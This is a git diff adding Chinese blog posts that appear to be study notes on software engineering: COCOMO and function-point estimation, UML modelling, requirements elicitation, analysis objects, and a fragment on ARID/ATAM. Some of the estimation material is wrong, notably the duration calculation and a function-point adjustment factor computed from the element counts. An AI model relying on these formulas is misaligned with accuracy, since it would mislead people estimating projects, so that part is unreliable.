1.73 + +其中,0.98、1.15、1.15和1.30分别是需求分析、系统设计、详细设计和编码和测试阶段的EAF值。 + +现在,我们可以使用详细COCOMO模型的公式来估算项目所需的工作量: +```text +E = 2.4 * (10)^1.05 * 1.73 = 47.8人月 +``` +正如您所看到的,与基本和中级模型相比,详细COCOMO模型估算出的项目所需工作量要高得多。这是因为详细模型考虑了开发过程的具体特性,这些特性可能会对所需的工作量产生重大影响。 + +除了估算工作量外,COCOMO模型还可以用于估算项目的时间,方法是将工作量除以参与项目的开发人员数量。例如,如果我们假设项目将由两个开发人员完成,那么项目的时间将是: +```text +D = E / P = 47.8 / 2 = 23.9个月 +``` +其中,D是以月为单位的项目时间,E是以人月为单位的工作量,P是参与项目的开发人员数量。 + + + +## 3. 面向功能的度量 +面向功能的度量方法来估算软件开发项目的功能点。 + +假设我们正在开发一个在线商城网站,需要估算该项目的功能点。我们可以根据上述定义,将应用程序提供的功能和数据分为以下五个类别进行计数: + +外部输入数(EI):假设我们的在线商城网站允许用户在网站上注册、登录,添加商品到购物车等操作。我们可以将这些操作视为外部输入,假设我们有20个外部输入。 + +外部输出数(EO):假设我们的在线商城网站可以生成订单、发送邮件等操作,我们可以将这些操作视为外部输出,假设我们有15个外部输出。 + +外部查询数(EQ):假设我们的在线商城网站可以根据用户提供的搜索条件搜索商品,我们可以将这些操作视为外部查询,假设我们有10个外部查询。 + +内部逻辑文件数(ILF):假设我们的在线商城网站需要维护用户的个人信息、订单信息、商品信息等数据,这些数据可以视为内部逻辑文件,假设我们有5个内部逻辑文件。 + +外部接口文件数(EIF):假设我们的在线商城网站需要与支付宝、微信支付等第三方支付平台进行集成,这些支付平台提供的数据可以视为外部接口文件,假设我们有3个外部接口文件。 + +根据上述计数,我们可以使用以下公式来计算功能点: +``` +F = 总计 × [0.65 + 0.01 × (EI + EO + EQ + ILF + EIF)] +``` +其中,总计是所有加权计数的总和。每个计数都有一个特定的复杂度等级,可以根据实际情况进行赋值。在这里,我们假设每个计数的复杂度等级为中等(即权重为1),则总计为53。 + +将上述值代入公式中,我们可以得到: + +F = 53 × [0.65 + 0.01 × (20 + 15 + 10 + 5 + 3)] = 53 × 1.53 = 81.09 + +因此,我们估算出该在线商城网站项目的功能点为81.09。 + + + + diff --git a/_posts/2023-5-23-test-markdown.md b/_posts/2023-5-23-test-markdown.md new file mode 100644 index 000000000000..6b803e53bf92 --- /dev/null +++ b/_posts/2023-5-23-test-markdown.md @@ -0,0 +1,641 @@ +--- +layout: post +title: 面向对象软件工程 +subtitle: +tags: [软件工程] +comments: true +--- + +## Part-1 +软件(技术)工程(管理)是一项建模活动/知识获取活动/受到软件工程原理指导的活动。 + +### 建模 + +面向对象方法将**应用域和解答域建模**活动合2而为1 +应用域建模:**一组对象和关系**对应用域进行建模/ + +> 判断是应用域还是解答域的关键在于考虑对象和概念是描述现实世界问题(应用域),还是描述解决方案的一部分(解答域)。如果一个对象或概念是用来表示现实世界中的实体或现象,那么它属于应用域;如果一个对象或概念是用来表示解决问题的方法、算法或数据结构,那么它属于解答域。 +> 应用域关注具体的现实场景和需求,而解答域关注通用的解决方法和技巧。解答域问题的解决方案通常具有较高的通用性,可以应用于多个场景;而应用域问题的解决方案通常针对特定场景,可能无法直接应用于其他场景。 +> 解答域问题通常具有较高的抽象程度,与具体应用场景相对独立;而应用域问题则需要结合具体场景来分析和解决。 + +解答域建模模:由应用域模型转化过来的。 +面向对象方法的思想:软件开发标识并描述成一组模型集合的活动。 + +### 问题解决 + +面向对象的软件开发通常包括**六种开发活动**(还包括评价各种模型的合适性: +**需求获取、需求分析、系统设计、对象设计、实现、测试** +需求获取:问题形式化,构件问题域模型。 +需求分析:问题形式化,构件问题域模型。 +系统设计:大问题分解为小问题,采用通用策略设计系统,产生解答域模型。 +对象设计:为小问题选择最合适方案。产生解答域模型。 +实现阶段:解答域转化为可执行的表达。 + +软件工程不同于其它科学的是: +**求解问题的过程中应用域和解答域在不断变化** +分析审查(应用域模型)设计审查(解答域模型) + +### 软件工程的概念 + +参与者: +```text +售票系统TicketDistributor是一台发售火车票的 +机器。旅客可以选择单程车票和多程车票,也可 以选择一天或一周的时间卡(time card)。售票系统TicketDistributor根据旅行地点、旅行者是成 人还是儿童来计算出旅客所要的车票价格。售票 系统必须能够处理一系列意外情况,例如系统可以处理没有完成交易的旅客情况,还可以处理试图使用巨额支票支付的情况,以及资源用尽的情 况,这一情况比如打印车票的纸张或者零钱用完了,或出现停电的情况等。 + +角色实例: +- 客户 +- 用户 +- 项目经理 +- 开发者 +售票系统TicketDistributor项目的软件工程的角色实例 +角色 职责 例子 +客户 客服负责... 把售票系统TicketDistributor承包出去的列车公司 +``` + +系统(内部相互关联部分的集合)和模型: + +```text +例如, 一个地铁售票系统TicketDistributor就是一个系统。 售票系统TicketDistributor的蓝图、电线布线图、 软件的对象模型均是售票系统TicketDistributor的模型 +``` + +活动、任务、资源: + +活动:**为完成某一目的所需的任务的集合。** + +``` +需求获取-活动 +交付-活动 +管理-活动 +``` + +任务:**可管理的原子工作单位,任务消耗资源** +资源:**完成工作的资产。** + +``` +售票系统TicketDistributor项目的活动、任务和资源的实例。 +需求获取-活动 +为售票系统开发 “没有零钱”的测试用例-任务 +审视“获取在线帮助通路”的使用实例的可用性-任务 +价目表数据库-资源 +``` + +### 功能性需求和非功能性需求 + +功能性需求:系统必须支持的功能的规格说明。 +非功能性需求:对系统的操作的一种约束,与系统的功能没有关系。 + +```text +例如,用户必须能够买到票以及用户必须能够查到价目信 息就属于功能需求。而用户必须在1秒钟内得到反馈信息 和用于接口的颜色应与公司LOG的颜色一致则属于非功能 需求。 +``` +### 记号、方法,方法学 + +记号:模型规则的图示或者文本集合。 +**UML:面向对象模型的记号。** + +### 软件开发活动 + + +**需求获取:用例图表示系统** + +> 在需求获取过程中,客户和开发者定义了系统的目标。这一活动的结果就是用参与者(actor)和用例(use case) 来描述系统。 +> 参与者代表与系统相互作用的外部实体. +> 用例是事件的总序列. + +```text +简化手表功能的UML用例图。手表用户WatchUser参与者可以 查看手表上的时间(使用读时间用例ReadTime),也可以设置手表上的时 间(使用设置时间用例SetTime)。然而,只有手表维修工 WatchRepairPerson参与者可以更换手表中的电池(使用ChangeBattery更 换电池用例)。参与者图示表示成火柴棍小人,用例图示使用椭圆,系统 边界是指将用例包含在内的矩形盒子的边界。 + +``` +需求获取的实例: + +``` +用例名:购买单程车票PurchaseOneWayTicket +参与者:由旅客Traveler启动 +事件流:1-旅客Traveler选择始发站和目的站。2-售票系统TicketDistributor显示车票价格。3-旅客Traveler投入不少于车票价格的钱。4-售票系统TicketDistributor给旅客Traveler输出指定的车票,并找回多于的零钱。 +入口条件:旅客Traveler站在始发车站或其它车站的售票系前面。 +出口条件:旅客Traveler拿到有效车票和找回的零钱 +质量需求:如果交易持续了1分钟后,没有产生响应结果,则售票系统 TicketDistributor退出所投入的钱。 +``` + +**需求分析:注明了属性,操作,关联的系统模型。该系统模型描述系统的对象模型(简陋的UML类图)和动态模型(UML顺序图)。** + +动态模型 +``` +售票系统TicketDistributor的一个动态模型(UML顺序图)。该图 描述了在购买单程车票PurchaseOneWayTicket用例和参与该用例 +2023年5月17日8时53分 41 的对象过程中,参与者和系统之间的交互。 +``` +对象模型: + +``` +个售票系统TicketDistributor的对象模型(UML类图)。在购买单 程车票PurchaseOneWayTicket用例中,一位旅客Traveler初始化交易, 交易的结果将是一张车票Ticket,一张只在规定区域Zone内有效的车票Ticket。在交易Transaction过程中,系统通过计数投入的硬币Coin和纸币Bill来跟踪余额Balance。 +``` + + +**系统设计:得到分解后的(被分解的子系统UML类图),和表示系统硬件/软件映射的(部署图)** + +> 选择构建系统放入策略:例如系统运行的硬件/软件平台,持久数据管理策略,存储控制策略。 +> 分析和系统设计都会产生在建系统的模型, 分析期间产生的模型是客户能理解的实体。 系统设计要处理的是一个非常精练的模型,它包括很多客户理解不了(也不感兴趣) 但开发者必须理解的实体 + +```text +售票系统TicketDistributor的一个子系统分解(UML类图、包代表子 系统,带箭头线条表示依存性)。旅客接口TravelerInterface子系统负责从旅客处收集输入数据以及提供反馈信息(即显示车票价格,找 零)。本地价目表LocalTariff子系统根据本地数据库计算不同区间的车票价格。中央价目表CentralTariff子系统,位于中央计算机,维护价目表数据库的一个参考副本。更新Updater子系统负责在票价变动时, 通过网络更新每台售票系统TicketDistributor上的局域数据库 +``` + + +**对象设计:得到(详细的UML),模型备注对每个元素的约束的精确描述。** + +**实现阶段:实现每个对象的属性和方法 以及集成所有对象一起运作。**详细的对象设计到到一个完整的可编译的源代码文件集合。 + +**测试:单元测试-对象设计(在对象设计时开始规划)/集成测试-系统设计(在系统设计时考虑测试计划)/系统测试-需求模型(在需求获取和分析阶段规划)** + + +## Part-2-1 + +**用例图、类图、交互图、状态机和活动图** +**构件图和部署** + + +### 系统开发-功能模型(用例模型)/对象模型/动态模型 + +功能模型(用例模型):从用户观点出发,使用**UML中的用例图**描述系统功能 + +对象模型:使用**UML中的类图**表示对象模型,类图使用对象、类、属性、 操作和关联 等描述了系统的结构。 + +> 在需求分析阶段:**分析对象模型作为对象模型,描述了与系统相关的应用概念。** + +> 在系统设计阶段:**对象模型被求精为系统设计对象模型,该模型包括子系统接口的描述。** + +> 在对象设计期间:**对象模型被求精为对象设计模型,该模型包括解答 域结构对象的细节描述。** + +动态模型:**UML中使用交互图、状态机图和活动图** + +> 状态机图:使用了单一对象的状态和这些状态之间可能存在的迁移行为。顺序图将关注点放在对象之间的信息交换上,其结果是由参与者创建了外部事件。状态机将关注点放在状态之间的迁移上,其结果是由一个独立对象产生了外部事件。 + +> 交互图:采用一组对象之间发生的交互消息序列描述了行为。顺序图是交互图的一种特殊形式。参与者:其作用是初始化用例, 也成为启动用例。带标号的箭头:一个参与者或一个对象向另一个对象发送的激励或者事件。 + +> 活动图:用控制流(控制流说明了操作发生的次序)和数据流(对象之间完成操作时所交换的内容。)描述了行为。利用活动描述了一个系统的行为。活动是表示操作集合执行的建模元素。一个活动执行完成后通过可得到的对象或者通过外部事件,可以触发另一活动的执行。活动 图也可以描述控制流,也可以描述数据流。 + + +## Part-2-2 + +面向对象建模的过程: + +- 解答域(solution domain):所有可能系统的建模空间。对解答域的建模表示了开发过程中的**系统设计**和**对象设计** 活动。解答域模型与应用域相比,其表现特点是内容更加丰富且 更易变化 +- **面向对象分析关心的是应用域的建模** +- **面向对象设计关心的是解答域的建模。** +- 在这两个方面的建模活动中,使用了相同的表示(如类和对象) + +系统开发的主要关注应用系统的三个不同模型: + +> 动态模型:交互图(时序图/协作图)「采用一组对象之间发生的交互消息序列描述了行为」状态机图「单一对象的状态以及这些状态之间存在的迁移行为」,活动图「控制流和数据流描述了行为」 +> 对象模型:类型表示对象模型,使用对象,属性,关联描述系统结构 +> 功能模型:用例图描述系统功能 + +### 用例图-通信/包含/扩展/继承 + +> 用例在需求获取和分析过程中表示系统功能。参与者在系统边界之外,而用例在该系统的边界之内。 + +通信关系:通信关系采用连接参与者记号和用例记号。**带箭头的实线,箭头指向用例。** +包含关系:通过使用不同用例标识模型的共性。`虚线箭+<>`箭头指向被包含的用例. +扩展关系:对其它用例增加事件的办法,来扩展一个用例。 +继承关系/泛化关系:一个用例可以被特别列举为一个或多个子用例,这被称为用例泛化。带空心箭头的实线,箭头指向被继承的用例, + +### 类图 + +> 类图用来描述系统的结构。类图使用了对象、类、属性、操作和关联等元素 描述系统。UML允许单方向关联 + +- 聚集(一种描述组合的关系) +- 限定是使用关键字约简重数的一项技术. +- 交互图描述了一组交互对象之间的通信模式。一个对象通过发送消息与其他对象进行交互。一个对象接收的消息触发了一个方法的执行,这一方法接着又向另一对象发送消息。可通过消息传递,变量被限制在接收消息对象的执行方法 的参数上。**交互图分为顺序图(描述了参与交互的对象)或协作图(交互以及参加交互的对象)** 。通过消息传递,**变量被限制在接收消息对象的执行方法的参数** + +### 交互图 + +> 采用一组对象之间发生的交互消息序列描述了行为. + +交互图通常用于将系统动态行为形式化,将对象之间的通信可视化。表示了发生在这些对象之间的交互。 + +我们将包含在用例中的对象称为**参与对象**。 + +参与者:初始化用例。 +带标号的箭头:一个参与者或一个对象向另一 个对象发送的激励或者**事件。** + +### 状态机图 + +> 单一对象的状态以及这些状态之间存在的迁移行为 + +> 顺序图将关注点放在对象之间的信息交换上,其结果是由参与者创建了外部事件. +> 状态机将关注点放在状态之间的迁移上,其结果是由一个独立对象产生了外部事件 + +### 活动图 + +活动图利用活动描述了一个系统的行为.活动图也可以描述控制流,也可以描述数据流.**控制流说明了操作发生的次序,数据流说明了对象之间完成操作时所交换的内容。** 一个活动执行完成后通过可得到的对象或者通过 外部事件,可以触发另一活动的执行。 + +```text +活动/决策/控制流 +活动可以被分类并放进不同的「泳道」也称 为活动划分。 +``` + +### UML的扩展机制 + +#### 版型(stereotype) +> 版型是一种扩展机制,以允许开发者对UML中的元素进行分类。 + +#### 约束(constraints) + +> 约束是一个附着在UML模型元素上的限制其语义的规则,如前置条件、后置条件. + +## Part4 -需求获取 + +> 需求获取的是系统必须具有的特征,是客户可接受的、系统必须满足的约束。 +> 需求工程的目标是**定义所构造系统应该满足的需求** +需求工程:1.需求获取 「导出用户可理解的系统规格说明」2.需求分析「定义开发者可无二义性解释的分 析模型。」 + +**场景**:使用了用户和系统之间的一系列 交互,描述了一个系统实例 + +**一个用例是描述一类场景的抽象**场景和用例两者均用自然语言描述。 + +**步骤:1-抽象场景。2-确认系统描述 3-确认功能性需求、非功能需求、用例和 场景** + +需求获取:1.关注系统目标的描述『标识了一个问题域,给出了解决这一问题的系统定义』。2 需求规格说明用自然语言来书写,而分析模型通常用形式化或半形式 化方式表示出来。 + +**需求获取和分析仅将关注点放在用户对系统的看法上。例如,系统功能表示了用户和系统之间的交互、或者表示了系统可检测和处理的错误,或者表示了作为需求部分的系统功能的环境条件。系统结构表示了构造系统所选择的实现技术,系统设计表示了开发方法,这些内容 以及对用户而言不可见的其它方面,均不是需求规格说明的组成部分** + +### 需求获取概念 + +> 功能性需求:功能需求描述了系统与其独立于系统实现的环境之间的交互 +> 非功能性需求描述了不直接关联到系统功 能行为的系统的方方面面「可用性、 可靠性、性能、可支持性。」 +> 可用性:可用性是一种用户可以学会的操作、输入 准备、解释一个系统或者构件输出的情况。 +> 可靠性:系统或构件在给定时间内以及指定条件下完成其 要求功能的能力。 +> 性能:要考虑系统的定量属性「对用户输入而言,系统响应的快 慢程度、吞吐量(在一个指定的时间量 内系统可完成的工作量)、有效性(当提 出使用要求时,系统或构件的可操作性和 可访问性程度)和准确性」 +> 可支持性:关注在进行部署后去改变系统的情 况。 +> 非功能性需求还包括:实现需求/接口需求/操作需求/打包需求/合法需求 +> 实现需求:特定工具、程序设计语言和硬件平 台的使用。 +> 接口需求:接口需求是外部系统强制性的约束,包括合法系统和交互格式。 +> 操作需求:管理员和系统操作设定方面的约束。 +> 打包需求:是系统实际提交方面的约束(如为了软件设定而说明的安装 介质约束)。 +> 合法需求所关心的是使用许可证、规则和认证等方面的问题。 + +### 需求确认的概念 + +需求确认包括检查需求是否是完全的、一致的、无二义性的和正确的。 +完全的:涉及系统的所有可能场景均已描述 +一致性的:规格说明与其本身无矛盾 +无二义性的:不可以存在有两种或多种解释 +正确的:满足客户和开发者双方要求。 + +### 需求规格的概念 + +需求规格说明至少应该具有的三个属性是:可现实性、可确认性和可追踪性。 +可现实的:系统可在约束下可以实现。 +可确认的:系统构建起来后,应该可以设计出能重复执行的接收测试。 +可追踪的:支持这些配置之间的自顶向下或者自底向上的两个方面 的一致性审查和确认。每一个系统功能可逆向追踪到其对应的需求集合上。 + +应用:1-**开发测试用例**的时候:**可追踪性使得测试者能够评价测试用例的覆盖情况,即标识出哪些需求被测试到了,哪些需求 未被测试。**2-评价改变的时候:使得可以标识出**改变**将影响到的有关构件和系统功能 + +### 需求获取的活动 + +> 1-标识参与者:定义了系统边界并从开发者要考虑的系统中找出所有的观察点。系统边界定义后:区别参与者和这类系 统构件究竟是对象还是子系统。子系统和对象在系统边界之内;它们是内部的。参与者是在系统边界之外的;它们是外部的。 + +> 2-标识场景:一个场景是一个用例的实例,即对一个给 定功能而言,一个用例可以说明这一给定 功能下的所有可能场景。 + +``` +标识场景的例子: +场景名称 仓库着火 +参与者实例 Bob,Alice:现场工作人员 +事件流 1. Bob正驾驶着他的巡逻车在主要街道上巡逻,他发现一个仓库冒出了黑烟。于是Alice,即Bob的同事,从自己的FRIEND膝 上电脑上激活“紧急情况报告”功能。2. Alice输入建筑物所在的地址,简要描述了其位置(即西北 角)和紧急程度。考虑到这一地区相对比较繁华,因此除了 消防队外,Alice还请求了几个医疗队前来。Alice在确定输入后,等待对方回答。 +3. John是调度者,他通过工作站发出来的嘟嘟声音发觉了这一 +紧急情况。John查阅了Alice的邮件信息,并对其报告进行了如下回 复。首先John指派了一个消防队和两个医疗队赶到出事地点,接着他 将相关队伍的到达时间(ETA)通报给了Alice。 +4. Alice收到了回复和相关队伍预计到达的时间。 +``` + + +> 3-标识用例 + + +``` +标识用例的例子: +用例名称: 报告紧急情况ReportEmergency +参与者: 由现场工作人员FieldOfficer启动 与调度者调度者Dispatcher联络 +事件流: +1.现场工作人员FieldOfficer激活其终端上“报告紧急情况”的功能。 2.FRIEND系统通过向给现场工作人员提交一张表格,对来自现场工作人员的申请做出反应。 3.现场工作人员FieldOfficer填好表格:选择紧急级别、类型、位置和简单情况描述。现场工 +作人员FieldOfficer还需要描述紧急情况可能造成的后果。一旦现场工作人员FieldOfficer填 +写完毕,就提交表格,以通知调度者Dispatcher。 +4. FRIEND接收到表格后,就通知调度者Dispatcher。 +5. 调度者Dispatcher检查所收到的提交信息,并通过调用打开事件用例OpenIncident在数据库 +中创建一个事件Incident。调度者Dispatcher在收到该紧急报告后选择响应并确认。 6. FRIEND系统显示确认信息和对现场工作人员FieldOfficer选择的响应。 + +入口条件:现场工作人员FieldOfficer登陆进入FRIEND。 +出口条件:现场工作人员FieldOfficer收到确认信息并选择来调度者Dispatcher的响应,或者现场工作人员FieldOfficer收到一条解释信息,以说明为何该事务不必处理。  现场工作人员FieldOfficer的报告要在30秒钟内答复。 +质量需求: 选择响应要在调度者Dispatcher发送请求后30秒钟内到达。 +``` + +用例的名字应该是一个动词短语,以说明参与者将完成什 么功能。动词短语“Report Emergency(报告紧急情况)”表明一个参与者试图向系统(即向调度者 Dispatcher)报告紧急情况。 + +> 4-求精用例 + +使用扩展关系来区分异常事件流和公共事件 流。我们使用包括关系,以减少用例之间的冗余. + +> 5-标识参与者和用例之间的关系 + +> 6-标识初始的分析对象 + +如果两个对象共享同一个名字但没有对应相同的概念,则其中的一个概念或者两个概念必须进行 重新命名. + +> 7-标识非功能性需求 + +可用性(健壮性,安全性,保密性)/可靠性/性能/支持性 + + +可用性包括: +``` +系统应该具有的可靠性、可用性和健壮性是什么? 重启系统在失效事件中是否是可以接收的? 有多少数据系统可以释放?系统怎样处理异常? +系统的安全需求是什么? 系统的保密要求是什么? +``` +性能: +``` +系统应该怎样进行响应? +有无用户任务要求时间关键? +系统应该支持的并发用户有多少? +对于一个可比较的系统而言,典型的数据存 储量有多大? +用户所能够接收的最坏延迟是什么? +``` +支持性: +``` +系统可预见的扩充是什么? +谁维护该系统? +是否有计划,考虑系统支持不同的软件和硬件环境? +``` +实现: +``` +硬件平台的约束是什么? +管理团队制定的约束是什么? +测试团队制定的约束是什么? +``` + +> 8.追踪性维护 + +``` +这一能力包括跟踪需求从哪里来(例如,谁组织需求,这一需求要 解决哪一个客户的需要),需求分到系统的哪一部 分去,以及对项目的影响例如,哪一个构件实现了该需求,哪一个测试检查了其实现. + +追踪性使得开发者看到的系统是完全的,使得测试 者看到的系统是否与其需求相符合,使得设计者记 录了系统内部的机理,以及是的维护者评价变化带来的影响。 +``` + +### 需求获取的结果 + +> 需求分析文档 +> 1.1系统目标1.2系统范围1.3项目的目标和成功的标准1.4定义,首字母缩写和缩写词 +> 2.当前的系统 +> 3.建议的系统:3.1 概述 3.2功能性需求 +> 3.3非功能性需求:3.3.1 可用性,3.3.2可靠性 3.3.3 性能 3.3.4可支持性 3.3.5 实现性 3.3.6 接口 3.3.7 打包 3.3.8 合法性 +> 3.4 系统模型 +> 3.4.1 场景,3.3.2用例模型 3.3.3 对象模型 3.3.4动态模型 3.3.5 实现性 3.3.6 接口 3.3.7 打包 3.3.8 合法性 + + +## Part5-分析 + +需求获取和分析之间的**关系**表现为:迭代和递增的活动 + +与需求获取活动的**不同**之处是,在分析活动中,系统分析员将关注点放在怎样将从用户处抽取的需求规格说明进行形式化上面。形式化导致:新洞察,需求错误。 + +### 分析的概念 + + +> 分析模型由三个独立模型构成:1.用用例和场景 表示的功能模型2.用类和对象图表示的分析对象模型.3.用状态图和顺序图表示的 动态模型等。 + +### 分析对象模型和动态模型 + +> 分析对象模型是分析模型的一部分:关注点放在系统、系统特征和系统关系操纵这些单一概念上。 +> UML类图描述的分析对象模型,包括类、属性和操作。 +> 动态模型将注意点放在系统的行为上。**顺序图**表示单一用例期间一组对象之间的交互。**状态图**:单一对象(或者一组非常紧密处理对象)的行为。 +> 状态图用于将责任分配给某一类,并且在这一过程中标识出新 的类、关联和属性,并将之加入分析对象模型中 + +### 实体/边界/控制对象 + +**实体对象**表示系统将跟踪的持久信息。 +**边界对象**表示参与者与系统之间的交互 +**控制对象**负责实现用例。 + +``` +例如,在具有两个按钮的2Bwatch实例中,年(Year)、 月(Month)和日(Day)是实体对象;按钮Button和液 晶显示器LCDDisplay是边界对象;改变对数据的控制 ChangeDateControl,则是控制对象,以表示通过按下组 合按钮改变日期的活动。 + +``` +### 分析的活动-从用例到对象 + +``` +1-标识实体对象 +2-标识边界对象 +3-标识控制对象 +4-使用顺序图将用例映射成对象 +5-使用CRC卡建模对象之间的交互 +6-标识关联 +7-标识聚集 +8-标识属性 +9-建模单一对象的状态依赖的行为 +10-建模对象之间的继承关系 +11-分析模型评审 +12-分析小结 + +``` + +自然语言分析方法`[Abbott,1983]`,可得到一个靠直觉的获 得的具有各种不同词汇成分的启发式集合 +``` +语言 成分模型构件 实例 +专有名词 实例 Alice +动词 操作 创建/提交 +``` +#### 标识实体对象 + +#### 标识边界对象 + +- 标识用户需要启动用例的用户接口控制(如ReportEmergencyButton)。 + +- 标识用户需要键入数据到系统的表格(如EmergencyReportFrom) +- 标识系统用于响应用户的通知和消息(如AcknowledgementNotice)。 + +#### 标识控制对象 +控制对象负责协调边界对象和实体对象。 + +``` +**报告紧急情况控制** 现场工作人员通过基站FieldOfficerStation(一种移动设备) 中的管理紧急情况报告ReportEmergency提交报告的功能。当现场工作人员 FieldOfficer选中“报告紧急情况Report Emergency”按钮时,该对象被创建。 然后,由该对象创建报告紧急情况表格ReportEmergencyForm,并将其提交 给当现场工作人员FieldOfficer。在当现场工作人员FieldOfficer填表并提交表 格后,该对象收集来自表格的信息,并将其发送给调度者Dispatcher。接着 该控制对象等待一个来自调度者基站DispatcherStation(一种台式工作站) 的答复。当答复收到后,报告紧急情况控制对象ReportEmergencyControl创 建一个确认通知AcknowledgmentNotice,并将该确认通知发送给当现场工作 人员FieldOfficer。 +``` + +``` +**管理紧急情况** 通过调度者基站DispatcherStation管理报告紧急情况 ReportEmergency的提交报告功能。当触发一个报告紧急情况 ReportEmergency时,该对象被创建。接着,该对象创建一个表格事件并将 该事件发送给调度者Dispatcher。一旦调度者Dispatcher创建了一个事件 Incident ,配置了相关资源,并提交了一个答复后,管理报告紧急情况控制 ManageReportEmergencyControl就会将这一答复发送给现场工作人员基站。 + +``` + +#### 顺序图将用例映射成对象 +- 顺序图将用例与对象联系在一起。 +- 顺序图代表了另一个观察视角,使得系统分析员 能够发现规格说明中**遗漏的对象**或**界限不明的领域**。 + +> 顺序图的第一栏对应着激活该用例的参与者; +> 顺序图的第二栏表示 边界对象 +> 第三栏是管理其余用例的控制对象。 +> 通过边界对象启动用例以创建控制对象。 +> 通过控制对象创建边界对象。 +> 通过控制对象和边界对象访问实体对象。 +> 实体对象从来不会访问边界对象和控制对象,实体对象从来不会访问边界对象和控制对象 + +#### 使用CRC卡(CRC是类、责任和协作的缩写)建模对象之间的交互 + +类的名字 标识在CRC卡的顶端,其责任标识在左栏中;为了完成其责任,所需要(协作)的类名字标识在右栏中 + +#### 标识关联 + +顺序图允许表示对象之间的交互 +类图允许系描述对象之间的相互依赖。 + +``` +关联 +EmergencyReport类与 FieldOfficer类之间的关联实例。 +EmergencyReport 一条直线连接 FieldOfficer,直线上写着(write) +``` + +``` +组合聚集 + +例如,一个救火站FireStation包括多个救火枪FireFighters,多辆救火车FireEngines,多辆救护车Ambulances以及指挥车LeadCar。 +一个聚集表示为带有钻石符号的关联,其中的钻石符号靠近“整体” +的一端。 +``` +> 实心钻石符号表示。组合聚集说明了部分存在依赖于整体。例如,省 Country总恰好是国家State的一个部分,而城镇TownShip总恰好是一 个省Country的部分。 + + +``` +共享聚集 + +例如,尽管救火车FireEngine在一个时间至多是一个救 火站FireStation的资产,但救火车FireEngine在其生命周期中还可以 再分配给不同的救火站FireStation使用,这样就改变了所属关系。 + +``` + +> 空心钻石符号的关联表示了共享聚集关系,表示整体和部分可以 独立地存在 + +#### 标识属性 + +``` +在标识对象的属性时,仅考虑与系统相关的属性。 例如,每一个现场工作人员FieldOfficer都具有一个社会安全号,但该号与紧急信息系统无关。事实上,现场工作人员FieldOfficer可使用徽章号标识,该号表示为徽章编号BadgeNumber性质 +``` + +#### 建模单一对象的状态相关的行为 + +> Incident的UML状态图。 + +#### 建模对象之间的继承关系 + +#### 分析模型评审 + +分析对象模型是使用**增量和迭代**的方法来构建的. +评审的目标是,确定需求规格说明是正确的、完全的、一致性的和可 实现的,以及是否是可确认的。 + +``` +对实体对象的分类,用户是否能够理解? +- 抽象类是否对应到用户层上的概念? +- 是否所有的描述均利用了用户定义? +- 是否所有实体对象和边界对象均使用了有意义的 名词短语进行了命名? +- 是否所有用例和控制对象均使用了有意义的动词 短语进行了命名? +- 是否所有的错误用例均已经描述和处理? + +``` + +``` +对每一个对象:是否有用例需要之?创建该对象的用例是 谁?修改该对象的用例是谁?删除该对象的用例是谁?该对象可以被一个边界对象访问吗? +- 对每一种属性:该属性何时设定?该属性的类型是什么? 该属性应该进行修饰吗? +- 对每一种关联:该关联何时被遍历(访问)到?为何如此 选择该关联的多样性?该关联可以使用一对一、一对多和 +多对多来描述吗? +- 对每一个控制对象:该控制对象具有必要的关联以访问到 应用中的对象吗? +- 是否有多个类或用例具有相同的名字? +- 具有相似名字的实体(如用例、类和属性) 注明了相似的概念了吗? +- 在相同的泛化层次中,是否存在相似属性和 关联的对象? + +``` + +``` +在该系统中是否出现任何新的特征?是否有 任何针对这些新特征而进行的构造研究或 建构原型系统的活动,以确保其实现上的 可行性? +- 性能要求和可靠性要求是否已经满足?运行 在所选择硬件上的任何原型的需求是否可以确认? +``` + + +## 练习题 + +``` +https://wenku.baidu.com/view/609d182a7375a417866f8fb6?aggId=3e12f2e20ba1284ac850ad02de80d4d8d15a01bb&fr=catalogMain_text_ernie_recall_backup_new:wk_recommend_main4 + +https://wenku.baidu.com/view/6b7f0d627fd5360cba1adbf7?aggId=d36b1b40b307e87101f69655&fr=catalogMain_text_ernie_recall_v1%3Awk_recommend_main4&_wkts_=1685354780425&wkQuery=%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1%E8%BD%AF%E4%BB%B6%E5%B7%A5%E7%A8%8B%E6%9C%9F%E6%9C%AB + +https://wenku.baidu.com/view/20a343edf8c75fbfc77db2c7.html?fr=income3-doc-search&_wkts_=1685356832770&wkQuery=%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1%E5%88%86%E6%9E%90%E5%92%8C%E8%AE%BE%E8%AE%A1%E7%AE%80%E7%AD%94%E9%A2%98 + +``` +ATAM则主要在于为利益相关者提供对系统的推荐方案,以满足其需求并优化体系结构。 + +ARID包括以下四个阶段:需求定义、体系结构设计、评估和迭代。 +在该题中要考虑该购物平台的功能特点,并确定适合该平台的质量属性。 +根据质量属性,设计不同的架构方案,并对其进行评估和比较。 +最后确定最适合该购物平台的体系结构方案,并建立一个反馈机制确保体系结构的持续改进。 +回答: + +首先,根据购物平台的功能特点,我们可以确定一些适合该平台的质量属性,比如性能、可扩展性、安全性、可维护性等。 + +在ARID的第一个阶段—需求定义阶段,我们会着重分析这些质量属性并确定需求。例如我们需要考虑: + +性能:用户访问网站时,页面应该快速加载和相应,而且用户同时使用大量资源时,应用程序能够正常工作。 +可扩展性:当用户数量增加时,购物平台应该能够无缝地扩展,而不会降低性能。 +安全性:该购物平台将处理大量的用户个人信息和交易数据,因此必须采取适当的安全措施,以防止任何类型的数据泄露或黑客攻击。 +可维护性:购物平台需要经常更新和修复,因此代码应该易于编辑和修改,同时对现有的功能没有不良影响。 +在第二个阶段——体系结构设计阶段,我们要根据这些质量属性设计不同的架构方案。例如,我们可以考虑以下几个架构: + +分布式架构:这是一种将系统分成多个部分并分布在不同服务器上的架构,可以提高可扩展性和性能。 +微服务架构:这是一种将系统中的不同功能部分化为互相独立且自治的微服务,并通过API进行通信的架构,可以提高可维护性、可伸缩性和灵活性。 +事件驱动架构:这是一种基于事件进行通信和交互的架构,可以实现松散耦合组件之间的通信,并提高系统的灵活性和可扩展性。 +在第三个阶段——评估阶段,我们可以使用ATAM( Architecture Tradeoff Analysis Method)等方法来评估这些架构方案,从而确定哪种架构能够最好地满足我们的需求和质量属性。 + +最后,在第四个阶段——迭代阶段,我们要建立一个反馈机制来持续改进体系结构,并根据用户反馈和分析结果进行不断优化。例如,如果应用程序出现性能瓶颈,则可以通过缓存、负载均衡等技术来提高性能。 + +## 简答题 + +1.什么是面向对象方法?面向对象的基本原则主要有哪些? +答: 